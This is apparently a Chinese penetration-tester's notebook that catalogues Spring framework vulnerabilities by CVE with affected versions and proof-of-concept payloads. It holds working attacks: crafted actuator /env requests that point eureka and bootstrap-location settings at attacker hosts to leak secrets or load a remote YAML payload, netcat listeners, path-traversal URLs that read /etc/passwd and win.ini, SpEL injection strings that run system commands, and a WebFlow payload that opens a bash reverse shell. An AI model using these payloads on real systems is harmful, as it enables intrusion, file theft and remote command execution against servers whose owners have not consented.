渗透测试 - 信息收集 - Java - Spring - 漏洞整理
0x01 背景介绍
Spring是一个开源框架,它由Rod Johnson创建。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。从简单性、可测试性和松耦合的角度而言,任何Java应用都可以从Spring中受益,Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。
Spring集合:
【1】Spring JDBC
【2】Spring MVC Springmvc是Springframework里面的一个组件,用于javaee开发过程中的控制层。
【3】Spring Security --Spring Security OAuth Spring Security OAuth是为Spring框架提供安全认证支持的一个模块,主要分为授权服务 Authorization Service.资源服务 Resource Service.这次漏洞主要是由用户使用Whitelabel views来处理错误时,攻击者在被授权的情况下可以通过构造恶意 SpEL表达式来远程执行命令
【4】Spring AOP
【5】Spring ORM
【6】Spring Test
【7】Spring WebFlow Spring WebFlow构建于Spring MVC之上,允许实现Web应用程序的“流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态Web应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的field,构造恶意 SpEL表达式来远程执行命令。
【8】 Spring Data Spring Data是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑,是一个用于简化数据库访问,并支持云服务的开源框架。
【8-1】Spring Data REST Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中,path的值被传入setValue,导致执行了恶意SpEL表达式,触发远程命令执行漏洞。
【8-2】Spring Data Commons Spring Data Commons是Spring Data Repository抽象。使用Spring Data Repository可以极大地减少数据访问层的代码。当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为SpEL表达式进行注入,攻击者可以注入恶意SpEL表达式以执行任意命令。 【9】spring messaging spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS, 用STOMP协议将数据组合成一个文本流,简单来说用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket(NEW)或ajax(OLD)进与后端通信。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),造成命令执行漏洞。 【10】 Spring Cloud Spring Cloud是一整套基于Spring Boot的微服务解决方案,为开发者提供了很多工具,用于快速构建分布式系统的一些通用模式。
【10-1】 Spring Cloud data flow
【10-2】 Spring Cloud Config Spring Cloud Config为分布式系统中的外部化配置提供服务器和客户端支持。 使用Config Server,您可以在所有环境中管理应用程序的外部属性。
【10-3】Spring Cloud Eureka SpringCloud封装了Netflix公司开发的Eureka模块来实现服务注册与发现,Eureka采用了C/S设计架构,Eureka Server作为服务注册功能的服务器,它是服务注册中心。而系统中的其他微服务,使用Eureka Client连接到Eureka Server并维持心跳连接,这样系统的维护人员就可以通过Eureka Server来监控系统中的各个微服务是否正常运行,SpringCloud的一些其他模块(例如Zuul)就可以通过Eureka Server来发现系统中的其他微服务,并执行相关的逻辑。 【11】Spring Boot Spring Boot 是 Spring 的一套快速配置脚手架,可以基于spring boot 快速开发单个微服务。
【11-1】Spring Boot actuator SpringBoot自带监控功能Actuator,可以帮助实现对程序内部运行情况监控。 【12】 Springframework Springframework 是sping 里面的一个开源框架,主要用户javaee的企业开发。 【13】 Spring integration
【14】Spring batch
【15】Spring hateoas
【16】Jolokia Jolokia是一个利用JSON通过Http实现JMX远程管理的开源项目,可在Spring Boot项目中使用。
【17】Logback Logback是由log4j创始人设计的另一个开源日志组件,用于取代log4j,官方网站: http://logback.qos.ch。 Logback默认配置文件: logback-test.xml(如果文件不存在,则查找文件logback.xml)
WooYun-2016-226888 - Spring Boot框架存在SPEL表达式注入通用漏洞(未找到相关资料)
Spring Boot + Spring cloud PID漏洞
(1)
GET /env HTTP/1.1 Host: xx.xx.xx.28:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 70 eureka.client.serviceUrl.defaultZone=http://${PID}@xx.xx.xx.226:6666/
(2)nc监听
nc -lvp 6666
(3)refresh
(4)base64解码获取属性
echo xxx | base64 -d
Spring Boot + Spring Cloud(spring Cloud env yaml利用)
当spring boot使用Spring Cloud 相关组件时,会存在spring.cloud.bootstrap.location属性,通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
- 利用范围
Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功,使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功
(1)
https://github.com/artsploit/yaml-payload(修改重打包)
(2)
GET /env HTTP/1.1 Host: xx.xx.xx.xx:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 75 spring.cloud.bootstrap.location=http://xx.xx.xx.xx/yaml-payload.yaml
(3)/refresh
CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露
影响版本:spring-cloud-config-server < 2.2.2
CVE-2020-5398
Date: 2020.1 类型: RFD 影响范围:
versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16
poc: $ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
CVE-2019-11269 Spring Security OAuth 开放重定向
影响版本: Spring Security OAuth 2.3至2.3.5 Spring Security OAuth 2.2至2.2.4 Spring Security OAuth 2.1至2.1.4 Spring Security OAUth 2.0至2.0.17
CVE-2020-5410
影响版本 • Spring Cloud Config: 2.2.0 to 2.2.2 • Spring Cloud Config: 2.1.0 to 2.1.8 http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111 http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111/222
Spring Cloud Config目录遍历漏洞(CVE-2019-3799)
Date 2019 类型 任意文件读取 影响范围 Spring Cloud Config 2.1.0 to 2.1.1 Spring Cloud Config 2.0.0 to 2.0.3 Spring Cloud Config 1.4.0 to 1.4.5 poc /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
CVE-2019-3778 Spring Security OAuth 开放重定向
影响版本: Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16
CVE-2018-15758 spring-security-oauth2权限提升
影响版本: Spring Security OAuth 2.3至2.3.3 Spring Security OAuth 2.2至2.2.2 Spring Security OAuth 2.1至2.1.2 Spring Security OAuth 2.0到2.0.15
CVE-2018-1273
Date 2018 类型 SpEL表达式注入漏洞 影响范围 Spring Data Commons < 2.0.5 poc username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping xxx.dnslog.cn")]=xxx&password=123456&repeatedPassword=123456
CVE-2018-1272
(在Spring MVC或者WebFlux应用把客户端请求再转向另一台服务器的场景下,攻击者通过构造和污染Multipart类型请求,可能对另一台服务器实现权限提升攻击)
Spring MVC 目录穿越漏洞(CVE-2018-1271)
Date 2018.4 类型
任意文件下载
影响范围 Spring Framework 5.0 to 5.0.4. Spring Framework 4.3 to 4.3.14 已不支持的旧版本仍然受影响 前置条件 Server运行于Windows系统上 要使用file协议打开资源文件目录 poc http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Spring Messaging 远程命令执行漏洞(CVE-2018-1270)
Date 2018 类型
RCE
影响范围 poc \nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()
Spring-Integration-Zip 任意文件写入漏洞 Unsafe Unzip with spring-integration-zip(CVE-2018-1261)
Date 2018 类型 任意文件写入漏洞 影响范围 Spring-Integration-Zip Community Extension Project Version 1.0.0
CVE-2018-1263 (Spring-Integration-Zip 任意文件写入漏洞 没找到相关案例,阿里先知有一篇分析)
Spring-Security-OAuth2 远程代码执行漏洞(CVE-2018-1260)
Date 2018 类型
RCE
影响范围 Spring Security Oauth 2.3.x < Spring Security Oauth 2.3.3 Spring Security Oauth 2.2.x < Spring Security Oauth 2.2.2 Spring Security Oauth 2.1.x < Spring Security Oauth 2.1.2 Spring Security Oauth 2.0.x < Spring Security Oauth 2.0.15 以及不受支持的旧版本
Spring Data 框架使用XMLBean产生XXE漏洞(CVE-2018-1259)
Date 2018 类型 XXE 影响范围 Spring Data Commons 1.13.x < Spring1.13.12 Spring Data Commons 2.0.x < Spring2.0.7 Spring Data REST 2.6.x < Spring Data REST 2.6.12 Spring Data REST 3.0.x < Spring Data REST 3.0.7 poc
CVE-2018-1258 Spring Security未经授权的访问(未找到公开poc)
影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)
Spring Messaging组件中存在漏洞可导致正则表达式拒绝服务攻击(CVE-2018-1257)
Date 2018 类型 DOS 影响范围 Spring5.0.x < Spring5.0.6 Spring4.3.x < Spring4.3.17 以及不在收支持的版本 poc
CVE-2017-8046
Date 2017 类型
SPEL表达式注入 影响范围
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本
poc
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]
CVE-2017-8045 Spring Amqp中的远程代码执行
影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
Date 2017 类型 RCE
影响范围 poc _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url编码,因为有特殊符号)
CVE-2016-6652 Spring Data JPA SQL盲注(未找到相关资料)
影响版本:Spring Data JPA 1.10.2、1.9.4
CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞
(1)影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
(2)至少知道一个触发 springboot 默认错误页面的接口及参数名
补丁:philwebb committed on 15 Dec 2015
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
Spring Security OAuth2.0 (CVE-2016-4977)
Date 2016 类型 EL表达式注入导致RCE 影响范围 Spring Security OAuth2.0 前置条件 登录 poc: http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
CVE-2016-2173 Spring AMQP中的远程代码执行
影响版本:1.0.0至1.5.4
Spring WebFlow 远程代码执行漏洞 CVE-2017-8039(https://www.chaosec.com/?p=754)
CVE-2014-3578 Spring Framework 目录遍历漏洞 (未找到相关资料)
影响版本: Spring Framework: - 3.0.4 to 3.2.11 - 4.0.0 to 4.0.7 - 4.1.0 to 4.1.1
CVE-2014-0097 Spring Security认证绕过(未找到相关资料)
影响版本:Spring Security 3.2.0至3.2.1和3.1.0至3.1.5
CVE-2014-3527 Spring Security验证绕过漏洞(未找到相关资料)
SpringSource Spring Security 3.1-3.2.4
CVE-2013-7315 Spring Framework中的XML外部实体(未找到相关资料)
影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入
影响版本: 3.0.0至3.2.3、4.0.0.M1
(https://blog.csdn.net/dingodingy/article/details/84495877)
CVE-2010-1622 Spring Frame class.classLoader类远程代码执行
Date 2010 类型 远程代码执行 影响范围 Spring Framework 3.0.0-3.0.2 Spring Framwork 2.5.0-2.5.7
(Spring Framework class.classLoader类远程代码执行 https://www.inbreak.net/archives/377)
(未找到公开poc)